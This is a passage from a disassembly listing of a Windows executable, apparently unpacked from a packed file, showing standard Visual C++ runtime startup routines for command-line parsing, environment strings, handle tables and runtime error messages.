loc_4236C5: ; CODE XREF: sub_42367B+3Bj
; sub_42367B+3Ej ...
mov al, [esi]
test al, al
jz short loc_4236CF
cmp al, 20h
jbe short loc_4236B8
loc_4236CF: ; CODE XREF: sub_42367B+4Ej
mov eax, esi
pop esi
retn
sub_42367B endp
; =============== S U B R O U T I N E =======================================
sub_4236D3 proc near ; CODE XREF: sub_41E1D3+8Ep
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4236E5
call sub_420B0D
loc_4236E5: ; CODE XREF: sub_4236D3+Bj
mov esi, dword_4DBE34
xor edi, edi
loc_4236ED: ; CODE XREF: sub_4236D3+30j
mov al, [esi]
cmp al, bl
jz short loc_423705
cmp al, 3Dh
jz short loc_4236F8
inc edi
loc_4236F8: ; CODE XREF: sub_4236D3+22j
push esi
call sub_41B9C0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_4236ED
; ---------------------------------------------------------------------------
loc_423705: ; CODE XREF: sub_4236D3+1Ej
lea eax, ds:4[edi*4]
push eax
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DBE04, esi
jnz short loc_423727
push 9
call sub_41E2C9
pop ecx
loc_423727: ; CODE XREF: sub_4236D3+4Aj
mov edi, dword_4DBE34
cmp [edi], bl
jz short loc_42376A
push ebp
loc_423732: ; CODE XREF: sub_4236D3+94j
push edi
call sub_41B9C0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_423763
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_423756
push 9
call sub_41E2C9
pop ecx
loc_423756: ; CODE XREF: sub_4236D3+79j
push edi
push dword ptr [esi]
call sub_41C890
pop ecx
add esi, 4
pop ecx
loc_423763: ; CODE XREF: sub_4236D3+6Cj
add edi, ebp
cmp [edi], bl
jnz short loc_423732
pop ebp
loc_42376A: ; CODE XREF: sub_4236D3+5Cj
push dword_4DBE34
call sub_41BA91
pop ecx
mov dword_4DBE34, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DD390, 1
pop ebx
retn
sub_4236D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42378C proc near ; CODE XREF: sub_41E1D3+89p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DD394, ebx
push esi
push edi
jnz short loc_4237A3
call sub_420B0D
loc_4237A3: ; CODE XREF: sub_42378C+10j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
call dword_427078 ; GetModuleFileNameA
mov eax, dword_4DD38C
mov off_4DBE14, esi
mov edi, esi
cmp [eax], bl
jz short loc_4237C8
mov edi, eax
loc_4237C8: ; CODE XREF: sub_42378C+38j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push ebx
push ebx
push edi
call sub_423825
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
lea eax, [eax+ecx*4]
push eax
call sub_41BEB5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_4237F8
push 8
call sub_41E2C9
pop ecx
loc_4237F8: ; CODE XREF: sub_42378C+62j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_423825
mov eax, [ebp+var_4]
add esp, 14h
dec eax
mov dword_4DBDFC, esi
pop edi
pop esi
mov dword_4DBDF8, eax
pop ebx
leave
retn
sub_42378C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423825 proc near ; CODE XREF: sub_42378C+47p
; sub_42378C+7Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_42384F
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42384F: ; CODE XREF: sub_423825+20j
cmp byte ptr [eax], 22h
jnz short loc_423898
loc_423854: ; CODE XREF: sub_423825+58j
; sub_423825+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_423886
test dl, dl
jz short loc_423886
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_423879
inc dword ptr [ecx]
test esi, esi
jz short loc_423879
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423879: ; CODE XREF: sub_423825+46j
; sub_423825+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_423854
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_423854
; ---------------------------------------------------------------------------
loc_423886: ; CODE XREF: sub_423825+36j
; sub_423825+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423890
and byte ptr [esi], 0
inc esi
loc_423890: ; CODE XREF: sub_423825+65j
cmp byte ptr [eax], 22h
jnz short loc_4238DB
inc eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_423898: ; CODE XREF: sub_423825+2Dj
; sub_423825+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_4238A3
mov dl, [eax]
mov [esi], dl
inc esi
loc_4238A3: ; CODE XREF: sub_423825+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_4238BE
inc dword ptr [ecx]
test esi, esi
jz short loc_4238BD
mov bl, [eax]
mov [esi], bl
inc esi
loc_4238BD: ; CODE XREF: sub_423825+91j
inc eax
loc_4238BE: ; CODE XREF: sub_423825+8Bj
cmp dl, 20h
jz short loc_4238CC
test dl, dl
jz short loc_4238D0
cmp dl, 9
jnz short loc_423898
loc_4238CC: ; CODE XREF: sub_423825+9Cj
test dl, dl
jnz short loc_4238D3
loc_4238D0: ; CODE XREF: sub_423825+A0j
dec eax
jmp short loc_4238DB
; ---------------------------------------------------------------------------
loc_4238D3: ; CODE XREF: sub_423825+A9j
test esi, esi
jz short loc_4238DB
and byte ptr [esi-1], 0
loc_4238DB: ; CODE XREF: sub_423825+6Ej
; sub_423825+71j ...
and [ebp+arg_10], 0
loc_4238DF: ; CODE XREF: sub_423825+19Ej
cmp byte ptr [eax], 0
jz loc_4239C8
loc_4238E8: ; CODE XREF: sub_423825+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4238F4
cmp dl, 9
jnz short loc_4238F7
loc_4238F4: ; CODE XREF: sub_423825+C8j
inc eax
jmp short loc_4238E8
; ---------------------------------------------------------------------------
loc_4238F7: ; CODE XREF: sub_423825+CDj
cmp byte ptr [eax], 0
jz loc_4239C8
test edi, edi
jz short loc_42390C
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_42390C: ; CODE XREF: sub_423825+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423911: ; CODE XREF: sub_423825+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_42391A: ; CODE XREF: sub_423825+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_423923
inc eax
inc ebx
jmp short loc_42391A
; ---------------------------------------------------------------------------
loc_423923: ; CODE XREF: sub_423825+F8j
cmp byte ptr [eax], 22h
jnz short loc_423954
test bl, 1
jnz short loc_423952
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423941
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423941
mov eax, edx
jmp short loc_423944
; ---------------------------------------------------------------------------
loc_423941: ; CODE XREF: sub_423825+10Dj
; sub_423825+116j
mov [ebp+arg_0], edi
loc_423944: ; CODE XREF: sub_423825+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423952: ; CODE XREF: sub_423825+106j
shr ebx, 1
loc_423954: ; CODE XREF: sub_423825+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423969
inc ebx
loc_42395C: ; CODE XREF: sub_423825+142j
test esi, esi
jz short loc_423964
mov byte ptr [esi], 5Ch
inc esi
loc_423964: ; CODE XREF: sub_423825+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_42395C
loc_423969: ; CODE XREF: sub_423825+134j
mov dl, [eax]
test dl, dl
jz short loc_4239B9
cmp [ebp+arg_10], 0
jnz short loc_42397F
cmp dl, 20h
jz short loc_4239B9
cmp dl, 9
jz short loc_4239B9
loc_42397F: ; CODE XREF: sub_423825+14Ej
cmp [ebp+arg_0], 0
jz short loc_4239B3
test esi, esi
jz short loc_4239A2
movzx ebx, dl
test byte_4DD261[ebx], 4
jz short loc_42399B
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_42399B: ; CODE XREF: sub_423825+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4239B1
; ---------------------------------------------------------------------------
loc_4239A2: ; CODE XREF: sub_423825+162j
movzx edx, dl
test byte_4DD261[edx], 4
jz short loc_4239B1
inc eax
inc dword ptr [ecx]
loc_4239B1: ; CODE XREF: sub_423825+17Bj
; sub_423825+187j
inc dword ptr [ecx]
loc_4239B3: ; CODE XREF: sub_423825+15Ej
inc eax
jmp loc_423911
; ---------------------------------------------------------------------------
loc_4239B9: ; CODE XREF: sub_423825+148j
; sub_423825+153j ...
test esi, esi
jz short loc_4239C1
and byte ptr [esi], 0
inc esi
loc_4239C1: ; CODE XREF: sub_423825+196j
inc dword ptr [ecx]
jmp loc_4238DF
; ---------------------------------------------------------------------------
loc_4239C8: ; CODE XREF: sub_423825+BDj
; sub_423825+D5j
test edi, edi
jz short loc_4239CF
and dword ptr [edi], 0
loc_4239CF: ; CODE XREF: sub_423825+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_423825 endp
; =============== S U B R O U T I N E =======================================
sub_4239D9 proc near ; CODE XREF: sub_41E1D3+7Fp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
mov eax, dword_4DBFA4
push ebx
push ebp
mov ebp, dword_427030
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_423A27
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz short loc_423A08
mov dword_4DBFA4, 1
jmp short loc_423A30
; ---------------------------------------------------------------------------
loc_423A08: ; CODE XREF: sub_4239D9+21j
call dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz loc_423B02
mov dword_4DBFA4, 2
jmp loc_423AB6
; ---------------------------------------------------------------------------
loc_423A27: ; CODE XREF: sub_4239D9+19j
cmp eax, 1
jnz loc_423AB1
loc_423A30: ; CODE XREF: sub_4239D9+2Dj
cmp esi, ebx
jnz short loc_423A40
call ebp ; GetEnvironmentStringsW
mov esi, eax
cmp esi, ebx
jz loc_423B02
loc_423A40: ; CODE XREF: sub_4239D9+59j
cmp [esi], bx
mov eax, esi
jz short loc_423A55
loc_423A47: ; CODE XREF: sub_4239D9+73j
; sub_4239D9+7Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
inc eax
inc eax
cmp [eax], bx
jnz short loc_423A47
loc_423A55: ; CODE XREF: sub_4239D9+6Cj
sub eax, esi
mov edi, dword_427188
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+38h+var_4], eax
call edi ; WideCharToMultiByte
mov ebp, eax
cmp ebp, ebx
jz short loc_423AA6
push ebp
call sub_41BEB5
cmp eax, ebx
pop ecx
mov [esp+18h+var_8], eax
jz short loc_423AA6
push ebx
push ebx
push ebp
push eax
push [esp+28h+var_4]
push esi
push ebx
push ebx
call edi ; WideCharToMultiByte
test eax, eax
jnz short loc_423AA2
push [esp+18h+var_8]
call sub_41BA91
pop ecx
mov [esp+18h+var_8], ebx
loc_423AA2: ; CODE XREF: sub_4239D9+B9j
mov ebx, [esp+18h+var_8]
loc_423AA6: ; CODE XREF: sub_4239D9+99j
; sub_4239D9+A8j
push esi
call dword_427038 ; FreeEnvironmentStringsW
mov eax, ebx
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423AB1: ; CODE XREF: sub_4239D9+51j
cmp eax, 2
jnz short loc_423B02
loc_423AB6: ; CODE XREF: sub_4239D9+49j
cmp edi, ebx
jnz short loc_423AC6
call dword_427034 ; GetEnvironmentStrings
mov edi, eax
cmp edi, ebx
jz short loc_423B02
loc_423AC6: ; CODE XREF: sub_4239D9+DFj
cmp [edi], bl
mov eax, edi
jz short loc_423AD6
loc_423ACC: ; CODE XREF: sub_4239D9+F6j
; sub_4239D9+FBj
inc eax
cmp [eax], bl
jnz short loc_423ACC
inc eax
cmp [eax], bl
jnz short loc_423ACC
loc_423AD6: ; CODE XREF: sub_4239D9+F1j
sub eax, edi
inc eax
mov ebp, eax
push ebp
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_423AEC
xor esi, esi
jmp short loc_423AF7
; ---------------------------------------------------------------------------
loc_423AEC: ; CODE XREF: sub_4239D9+10Dj
push ebp
push edi
push esi
call sub_41CD20
add esp, 0Ch
loc_423AF7: ; CODE XREF: sub_4239D9+111j
push edi
call dword_42703C ; FreeEnvironmentStringsA
mov eax, esi
jmp short loc_423B04
; ---------------------------------------------------------------------------
loc_423B02: ; CODE XREF: sub_4239D9+39j
; sub_4239D9+61j ...
xor eax, eax
loc_423B04: ; CODE XREF: sub_4239D9+D6j
; sub_4239D9+127j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
retn
sub_4239D9 endp
; =============== S U B R O U T I N E =======================================
sub_423B0B proc near ; CODE XREF: sub_41E1D3+6Fp
var_44 = byte ptr -44h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
sub esp, 44h
push ebx
push ebp
push esi
push edi
push 100h
call sub_41BEB5
mov esi, eax
pop ecx
test esi, esi
jnz short loc_423B2B
push 1Bh
call sub_41E2C9
pop ecx
loc_423B2B: ; CODE XREF: sub_423B0B+16j
mov dword_4DD040, esi
mov dword_4DD140, 20h
lea eax, [esi+100h]
loc_423B41: ; CODE XREF: sub_423B0B+52j
cmp esi, eax
jnb short loc_423B5F
and byte ptr [esi+4], 0
or dword ptr [esi], 0FFFFFFFFh
mov byte ptr [esi+5], 0Ah
mov eax, dword_4DD040
add esi, 8
add eax, 100h
jmp short loc_423B41
; ---------------------------------------------------------------------------
loc_423B5F: ; CODE XREF: sub_423B0B+38j
lea eax, [esp+54h+var_44]
push eax
call dword_4271A8 ; GetStartupInfoA
cmp word ptr [esp+54h+var_14+2], 0
jz loc_423C3B
mov eax, [esp+54h+var_10]
test eax, eax
jz loc_423C3B
mov esi, [eax]
lea ebp, [eax+4]
mov eax, 800h
cmp esi, eax
lea ebx, [esi+ebp]
jl short loc_423B95
mov esi, eax
loc_423B95: ; CODE XREF: sub_423B0B+86j
cmp dword_4DD140, esi
jge short loc_423BEF
mov edi, offset dword_4DD044
loc_423BA2: ; CODE XREF: sub_423B0B+DAj
push 100h
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423BE9
add dword_4DD140, 20h
mov [edi], eax
lea ecx, [eax+100h]
loc_423BC0: ; CODE XREF: sub_423B0B+CFj
cmp eax, ecx
jnb short loc_423BDC
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov ecx, [edi]
add eax, 8
add ecx, 100h
jmp short loc_423BC0
; ---------------------------------------------------------------------------
loc_423BDC: ; CODE XREF: sub_423B0B+B7j
add edi, 4
cmp dword_4DD140, esi
jl short loc_423BA2
jmp short loc_423BEF
; ---------------------------------------------------------------------------
loc_423BE9: ; CODE XREF: sub_423B0B+A4j
mov esi, dword_4DD140
loc_423BEF: ; CODE XREF: sub_423B0B+90j
; sub_423B0B+DCj
xor edi, edi
test esi, esi
jle short loc_423C3B
loc_423BF5: ; CODE XREF: sub_423B0B+12Ej
mov eax, [ebx]
cmp eax, 0FFFFFFFFh
jz short loc_423C32
mov cl, [ebp+0]
test cl, 1
jz short loc_423C32
test cl, 8
jnz short loc_423C14
push eax
call dword_427024 ; GetFileType
test eax, eax
jz short loc_423C32
loc_423C14: ; CODE XREF: sub_423B0B+FCj
mov eax, edi
mov ecx, edi
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
lea eax, [eax+ecx*8]
mov ecx, [ebx]
mov [eax], ecx
mov cl, [ebp+0]
mov [eax+4], cl
loc_423C32: ; CODE XREF: sub_423B0B+EFj
; sub_423B0B+F7j ...
inc edi
inc ebp
add ebx, 4
cmp edi, esi
jl short loc_423BF5
loc_423C3B: ; CODE XREF: sub_423B0B+65j
; sub_423B0B+71j ...
xor ebx, ebx
loc_423C3D: ; CODE XREF: sub_423B0B+195j
mov eax, dword_4DD040
cmp dword ptr [eax+ebx*8], 0FFFFFFFFh
lea esi, [eax+ebx*8]
jnz short loc_423C98
test ebx, ebx
mov byte ptr [esi+4], 81h
jnz short loc_423C58
push 0FFFFFFF6h
pop eax
jmp short loc_423C62
; ---------------------------------------------------------------------------
loc_423C58: ; CODE XREF: sub_423B0B+146j
mov eax, ebx
dec eax
neg eax
sbb eax, eax
add eax, 0FFFFFFF5h
loc_423C62: ; CODE XREF: sub_423B0B+14Bj
push eax
call dword_427028 ; GetStdHandle
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_423C87
push edi
call dword_427024 ; GetFileType
test eax, eax
jz short loc_423C87
and eax, 0FFh
mov [esi], edi
cmp eax, 2
jnz short loc_423C8D
loc_423C87: ; CODE XREF: sub_423B0B+163j
; sub_423B0B+16Ej
or byte ptr [esi+4], 40h
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C8D: ; CODE XREF: sub_423B0B+17Aj
cmp eax, 3
jnz short loc_423C9C
or byte ptr [esi+4], 8
jmp short loc_423C9C
; ---------------------------------------------------------------------------
loc_423C98: ; CODE XREF: sub_423B0B+13Ej
or byte ptr [esi+4], 80h
loc_423C9C: ; CODE XREF: sub_423B0B+180j
; sub_423B0B+185j ...
inc ebx
cmp ebx, 3
jl short loc_423C3D
push dword_4DD140
call dword_42702C ; LockResource
pop edi
pop esi
pop ebp
pop ebx
add esp, 44h
retn
sub_423B0B endp
; ---------------------------------------------------------------------------
align 4
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423CC0 proc near ; DATA XREF: sub_41E1D3+Ao
; sub_4228FD+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz loc_423D60
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_423CF3: ; CODE XREF: sub_423CC0+90j
cmp esi, 0FFFFFFFFh
jz short loc_423D59
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_423D47
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
or eax, eax
jz short loc_423D47
js short loc_423D52
mov edi, [ebx+8]
push ebx
call sub_41D550
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_41D592
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_41D626
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_423D47: ; CODE XREF: sub_423CC0+40j
; sub_423CC0+52j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_423CF3
; ---------------------------------------------------------------------------
loc_423D52: ; CODE XREF: sub_423CC0+54j
mov eax, 0
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D59: ; CODE XREF: sub_423CC0+36j
mov eax, 1
jmp short loc_423D75
; ---------------------------------------------------------------------------
loc_423D60: ; CODE XREF: sub_423CC0+18j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_41D592
add esp, 8
pop ebp
mov eax, 1
loc_423D75: ; CODE XREF: sub_423CC0+97j
; sub_423CC0+9Ej
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_423CC0 endp
; ---------------------------------------------------------------------------
push ebp
mov ecx, [esp+8]
mov ebp, [ecx]
mov eax, [ecx+1Ch]
push eax
mov eax, [ecx+18h]
push eax
call sub_41D592
add esp, 8
pop ebp
retn 4
; =============== S U B R O U T I N E =======================================
sub_423D98 proc near ; CODE XREF: sub_41E2C9+9p
; sub_41E2EE+9p
mov eax, dword_4DBE3C
cmp eax, 1
jz short loc_423DAF
test eax, eax
jnz short locret_423DD0
cmp dword_43AE44, 1
jnz short locret_423DD0
loc_423DAF: ; CODE XREF: sub_423D98+8j
push 0FCh
call sub_423DD1
mov eax, dword_4DBFA8
pop ecx
test eax, eax
jz short loc_423DC5
call eax
loc_423DC5: ; CODE XREF: sub_423D98+29j
push 0FFh
call sub_423DD1
pop ecx
locret_423DD0: ; CODE XREF: sub_423D98+Cj
; sub_423D98+15j
retn
sub_423D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423DD1 proc near ; CODE XREF: sub_41E2C9+12p
; sub_41E2EE+12p ...
var_1A4 = byte ptr -1A4h
var_A0 = byte ptr -0A0h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1A4h
mov edx, [ebp+arg_0]
xor ecx, ecx
mov eax, offset dword_43D4D8
loc_423DE4: ; CODE XREF: sub_423DD1+20j
cmp edx, [eax]
jz short loc_423DF3
add eax, 8
inc ecx
cmp eax, offset off_43D568
jl short loc_423DE4
loc_423DF3: ; CODE XREF: sub_423DD1+15j
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword_43D4D8[esi]
jnz loc_423F21
mov eax, dword_4DBE3C
cmp eax, 1
jz loc_423EFB
test eax, eax
jnz short loc_423E24
cmp dword_43AE44, 1
jz loc_423EFB
loc_423E24: ; CODE XREF: sub_423DD1+44j
cmp edx, 0FCh
jz loc_423F21
lea eax, [ebp+var_1A4]
push 104h
push eax
push 0
call dword_427078 ; GetModuleFileNameA
test eax, eax
jnz short loc_423E5B
lea eax, [ebp+var_1A4]
push offset aProgramNameUnk ; "<program name unknown>"
push eax
call sub_41C890
pop ecx
pop ecx
loc_423E5B: ; CODE XREF: sub_423DD1+75j
lea eax, [ebp+var_1A4]
push edi
push eax
lea edi, [ebp+var_1A4]
call sub_41B9C0
inc eax
pop ecx
cmp eax, 3Ch
jbe short loc_423E9E
lea eax, [ebp+var_1A4]
push eax
call sub_41B9C0
mov edi, eax
lea eax, [ebp+var_1A4]
sub eax, 3Bh
push 3
add edi, eax
push offset a___ ; "..."
push edi
call sub_41BFD0
add esp, 10h
loc_423E9E: ; CODE XREF: sub_423DD1+A2j
lea eax, [ebp+var_A0]
push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
push eax
call sub_41C890
lea eax, [ebp+var_A0]
push edi
push eax
call sub_41C8A0
lea eax, [ebp+var_A0]
push offset asc_427BF0 ; "\n\n"
push eax
call sub_41C8A0
push off_43D4DC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_41C8A0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_425029
add esp, 2Ch
pop edi
jmp short loc_423F21
; ---------------------------------------------------------------------------
loc_423EFB: ; CODE XREF: sub_423DD1+3Cj
; sub_423DD1+4Dj
lea eax, [ebp+arg_0]
lea esi, off_43D4DC[esi]
push 0
push eax
push dword ptr [esi]
call sub_41B9C0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
call dword_427028 ; GetStdHandle
push eax
call dword_4270F0 ; WriteFile
loc_423F21: ; CODE XREF: sub_423DD1+2Ej
; sub_423DD1+59j ...
pop esi
leave
retn
sub_423DD1 endp
; =============== S U B R O U T I N E =======================================
sub_423F24 proc near ; CODE XREF: sub_42423B:loc_4243B3p
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4DD040
loc_423F33: ; CODE XREF: sub_423F24+48j
mov eax, [ecx]
test eax, eax
jz short loc_423F70
lea edx, [eax+100h]
loc_423F3F: ; CODE XREF: sub_423F24+28j
cmp eax, edx
jnb short loc_423F5F
test byte ptr [eax+4], 1
jz short loc_423F4E
add eax, 8
jmp short loc_423F3F
; ---------------------------------------------------------------------------
loc_423F4E: ; CODE XREF: sub_423F24+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_423FB3
loc_423F5F: ; CODE XREF: sub_423F24+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4DD140
jl short loc_423F33
jmp short loc_423FB3
; ---------------------------------------------------------------------------
loc_423F70: ; CODE XREF: sub_423F24+13j
mov esi, 100h
push esi
call sub_41BEB5
test eax, eax
pop ecx
jz short loc_423FB3
add dword_4DD140, 20h
lea ecx, ds:4DD040h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_423F96: ; CODE XREF: sub_423F24+88j
cmp eax, edx
jnb short loc_423FAE
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_423F96
; ---------------------------------------------------------------------------
loc_423FAE: ; CODE XREF: sub_423F24+74j
shl edi, 5
mov ebx, edi
loc_423FB3: ; CODE XREF: sub_423F24+39j
; sub_423F24+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_423F24 endp
; =============== S U B R O U T I N E =======================================
sub_423FB9 proc near ; CODE XREF: sub_42423B+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4DD140
push edi
jnb short loc_424019
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4DD040h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_424019
cmp dword_43AE44, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_42400F
sub eax, 0
jz short loc_424006
dec eax
jz short loc_424001
dec eax
jnz short loc_42400F
push ebx
push 0FFFFFFF4h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FB9+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_424009
; ---------------------------------------------------------------------------
loc_424006: ; CODE XREF: sub_423FB9+3Bj
push ebx
push 0FFFFFFF6h
loc_424009: ; CODE XREF: sub_423FB9+46j
; sub_423FB9+4Bj
call dword_427020 ; SetStdHandle
loc_42400F: ; CODE XREF: sub_423FB9+36j
; sub_423FB9+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_42402D
; ---------------------------------------------------------------------------
loc_424019: ; CODE XREF: sub_423FB9+Cj
; sub_423FB9+28j
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_42402D: ; CODE XREF: sub_423FB9+5Ej
pop edi
pop esi
retn
sub_423FB9 endp
; =============== S U B R O U T I N E =======================================
sub_424030 proc near ; CODE XREF: sub_41E312+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4DD140
push edi
jnb short loc_424093
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4DD040h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_424093
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_424093
cmp dword_43AE44, 1
jnz short loc_424089
xor eax, eax
sub ecx, eax
jz short loc_424080
dec ecx
jz short loc_42407B
dec ecx
jnz short loc_424089
push eax
push 0FFFFFFF4h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_42407B: ; CODE XREF: sub_424030+41j
push eax
push 0FFFFFFF5h
jmp short loc_424083
; ---------------------------------------------------------------------------
loc_424080: ; CODE XREF: sub_424030+3Ej
push eax
push 0FFFFFFF6h
loc_424083: ; CODE XREF: sub_424030+49j
; sub_424030+4Ej
call dword_427020 ; SetStdHandle
loc_424089: ; CODE XREF: sub_424030+38j
; sub_424030+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_4240A7
; ---------------------------------------------------------------------------
loc_424093: ; CODE XREF: sub_424030+Cj
; sub_424030+2Aj ...
and dword_4DBDE0, 0
mov dword_4DBDDC, 9
or eax, 0FFFFFFFFh
loc_4240A7: ; CODE XREF: sub_424030+61j
pop edi
pop esi
retn
sub_424030 endp
; =============== S U B R O U T I N E =======================================
sub_4240AA proc near ; CODE XREF: sub_41E312+32p
; sub_41E312+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
